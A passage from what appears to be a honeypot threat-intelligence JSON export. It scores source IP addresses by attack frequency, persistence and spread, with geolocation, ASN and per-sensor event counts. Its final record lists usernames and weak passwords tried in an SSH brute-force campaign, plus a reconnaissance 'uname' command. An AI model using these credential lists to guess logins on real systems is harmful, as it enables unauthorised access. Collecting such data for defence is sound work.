        "frequency": 18.9,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 9,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-23T05:40:47+00:00",
        "last_seen_30d": "2026-03-31T23:27:50.779000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 10,
        "Ciscoasa": 6,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "125.17.108.32": {
      "attack_count": 3,
      "first_seen": "2026-03-21T00:24:14.300Z",
      "last_seen": "2026-03-21T00:25:20.135Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 15.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 19,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T01:38:03+00:00",
        "last_seen_30d": "2026-03-21T00:26:25.276000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "162.243.71.18": {
      "attack_count": 3,
      "first_seen": "2026-03-10T09:15:53.145Z",
      "last_seen": "2026-03-10T09:15:53.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Secaucus",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T09:15:53.145000+00:00",
        "last_seen_30d": "2026-03-10T09:17:00.936000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "8.209.246.104": {
      "attack_count": 3,
      "first_seen": "2026-03-10T07:44:02.292Z",
      "last_seen": "2026-03-10T07:45:02.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-10T07:44:02.292000+00:00",
        "last_seen_30d": "2026-03-12T12:35:26.403000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "1.213.196.20": {
      "attack_count": 2,
      "first_seen": "2026-03-08T09:02:58.487Z",
      "last_seen": "2026-03-08T09:03:29.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Suwon",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T09:02:58.487000+00:00",
        "last_seen_30d": "2026-03-08T09:04:33.321000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.219.41.42": {
      "attack_count": 2,
      "first_seen": "2026-03-24T01:11:20.990Z",
      "last_seen": "2026-03-24T01:11:35.105Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 136334,
      "as_org": "Vortex Netsol Private Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T01:11:20.990000+00:00",
        "last_seen_30d": "2026-03-24T01:12:44.388000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.36.77.60": {
      "attack_count": 2,
      "first_seen": "2026-03-17T14:54:10.818Z",
      "last_seen": "2026-03-17T14:54:25.004Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T14:54:10.818000+00:00",
        "last_seen_30d": "2026-03-17T14:55:34.582000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.35.88.142": {
      "attack_count": 2,
      "first_seen": "2026-03-21T11:07:00.053Z",
      "last_seen": "2026-03-21T11:07:14.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T11:07:00.053000+00:00",
        "last_seen_30d": "2026-03-21T11:08:22.231000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.190.24.246": {
      "attack_count": 2,
      "first_seen": "2026-03-16T07:45:03.382Z",
      "last_seen": "2026-03-16T07:47:03.397Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:45:03.382000+00:00",
        "last_seen_30d": "2026-03-16T07:57:42.134000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "139.59.242.208": {
      "attack_count": 2,
      "first_seen": "2026-03-19T14:56:15.087Z",
      "last_seen": "2026-03-19T14:56:15.295Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T14:56:15.087000+00:00",
        "last_seen_30d": "2026-03-19T14:57:18.719000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "147.185.132.237": {
      "attack_count": 2,
      "first_seen": "2026-03-22T16:58:14.195Z",
      "last_seen": "2026-03-22T16:58:46.025Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 123,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T08:19:24+00:00",
        "last_seen_30d": "2026-03-31T09:31:47.153000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 29,
        "Miniprint": 9,
        "Cowrie": 2,
        "Dionaea": 2,
        "Sentrypeer": 1
      }
    },
    "147.185.132.82": {
      "attack_count": 2,
      "first_seen": "2026-03-30T21:25:43.247Z",
      "last_seen": "2026-03-30T21:25:53.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T08:45:13+00:00",
        "last_seen_30d": "2026-03-31T07:45:53.079000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 42,
        "ConPot": 2,
        "Cowrie": 2
      }
    },
    "175.107.244.251": {
      "attack_count": 2,
      "first_seen": "2026-03-24T07:07:05.529Z",
      "last_seen": "2026-03-24T07:07:18.525Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T07:07:05.529000+00:00",
        "last_seen_30d": "2026-03-24T07:08:23.774000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.199.138.146": {
      "attack_count": 2,
      "first_seen": "2026-03-14T04:33:09.567Z",
      "last_seen": "2026-03-14T04:33:22.825Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "San Jos\u00e9 del Cabo",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T04:33:09.567000+00:00",
        "last_seen_30d": "2026-03-14T04:34:32.921000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "23.94.28.167": {
      "attack_count": 2,
      "first_seen": "2026-03-07T08:50:11.881Z",
      "last_seen": "2026-03-07T08:50:12.108Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T20:38:06.509000+00:00",
        "last_seen_30d": "2026-03-07T08:51:20.603000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "39.62.111.186": {
      "attack_count": 2,
      "first_seen": "2026-03-24T04:19:36.993Z",
      "last_seen": "2026-03-24T04:19:54.850Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Multan",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T04:19:36.993000+00:00",
        "last_seen_30d": "2026-03-24T04:21:00.527000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.2.226": {
      "attack_count": 2,
      "first_seen": "2026-03-21T10:41:21.919Z",
      "last_seen": "2026-03-21T10:41:34.914Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T10:41:21.919000+00:00",
        "last_seen_30d": "2026-03-21T10:42:38.321000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.178.47.129": {
      "attack_count": 2,
      "first_seen": "2026-03-22T10:41:21.493Z",
      "last_seen": "2026-03-22T10:41:34.689Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santar\u00e9m",
      "asn": 269087,
      "as_org": "netcabo servicos de comunicacao",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T10:41:21.493000+00:00",
        "last_seen_30d": "2026-03-22T10:42:43.483000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.82.78.100": {
      "attack_count": 2,
      "first_seen": "2026-03-18T09:22:37.777Z",
      "last_seen": "2026-03-18T09:22:38.084Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited",
      "threat_score": 87.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 595,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T03:15:43+00:00",
        "last_seen_30d": "2026-03-31T22:42:26.211000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 305,
        "Honeytrap": 288,
        "Cowrie": 2
      }
    },
    "45.92.176.164": {
      "attack_count": 2,
      "first_seen": "2026-03-08T05:01:23.038Z",
      "last_seen": "2026-03-08T05:01:54.205Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "St Petersburg",
      "asn": 49505,
      "as_org": "JSC Selectel",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T05:01:23.038000+00:00",
        "last_seen_30d": "2026-03-08T05:02:57.006000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.237.76.170": {
      "attack_count": 2,
      "first_seen": "2026-03-07T09:43:43.362Z",
      "last_seen": "2026-03-07T09:44:14.123Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T09:43:43.362000+00:00",
        "last_seen_30d": "2026-03-07T09:45:19.461000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.180.19.218": {
      "attack_count": 2,
      "first_seen": "2026-03-30T19:27:05.870Z",
      "last_seen": "2026-03-30T19:27:06.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Rostov-on-Don",
      "asn": 210135,
      "as_org": "Yug-Telecom-K Ltd.",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T19:27:05.870000+00:00",
        "last_seen_30d": "2026-03-30T19:28:10.812000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "83.224.137.233": {
      "attack_count": 2,
      "first_seen": "2026-03-17T06:48:44.275Z",
      "last_seen": "2026-03-17T06:48:57.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Ponte di Piave",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:48:44.275000+00:00",
        "last_seen_30d": "2026-03-17T06:50:08.430000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.111.140.77": {
      "attack_count": 2,
      "first_seen": "2026-03-02T10:17:48.910Z",
      "last_seen": "2026-03-02T10:19:48.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 39494,
      "as_org": "Jsc ru-center",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T08:28:11.089000+00:00",
        "last_seen_30d": "2026-03-02T10:29:49.731000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "91.231.89.249": {
      "attack_count": 2,
      "first_seen": "2026-03-21T01:19:39.952Z",
      "last_seen": "2026-03-21T01:19:50.288Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 78.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 28,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T07:24:36+00:00",
        "last_seen_30d": "2026-03-31T05:06:34.180000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 40,
        "Cowrie": 2
      }
    },
    "91.231.89.252": {
      "attack_count": 2,
      "first_seen": "2026-03-28T01:11:38.261Z",
      "last_seen": "2026-03-28T01:11:38.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 82.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 30,
        "ports_targeted_30d": 61,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T13:11:32.980000+00:00",
        "last_seen_30d": "2026-03-31T22:54:23.845000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 138,
        "Honeytrap": 47,
        "Cowrie": 2
      }
    },
    "96.236.44.239": {
      "attack_count": 2,
      "first_seen": "2026-03-21T22:55:05.553Z",
      "last_seen": "2026-03-21T22:55:11.171Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Delmar",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T22:55:05.553000+00:00",
        "last_seen_30d": "2026-03-21T22:56:13.652000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "96.44.138.222": {
      "attack_count": 2,
      "first_seen": "2026-03-29T20:00:45.901Z",
      "last_seen": "2026-03-29T20:01:17.107Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T20:00:45.901000+00:00",
        "last_seen_30d": "2026-03-29T20:02:24.233000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "159.89.174.122": {
      "attack_count": 1285,
      "first_seen": "2026-03-19T03:00:36.776Z",
      "last_seen": "2026-03-19T03:28:07.598Z",
      "sessions": 257,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "ftpuser",
        "user",
        "test",
        "steam",
        "claude",
        "alex",
        "andrea",
        "andrew",
        "botuser",
        "chris",
        "d",
        "deploy",
        "ducc0x",
        "ftptest",
        "home",
        "info",
        "jenkins"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "1",
        "123",
        "12345",
        "12345678",
        "p@ssw0rd",
        "password",
        "111",
        "admin",
        "11",
        "ana",
        "dstserver",
        "!QAZ2wsx3edc4rfv",
        "0000",
        "00000000",
        "0909",
        "1011",
        "1111",
        "1111111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
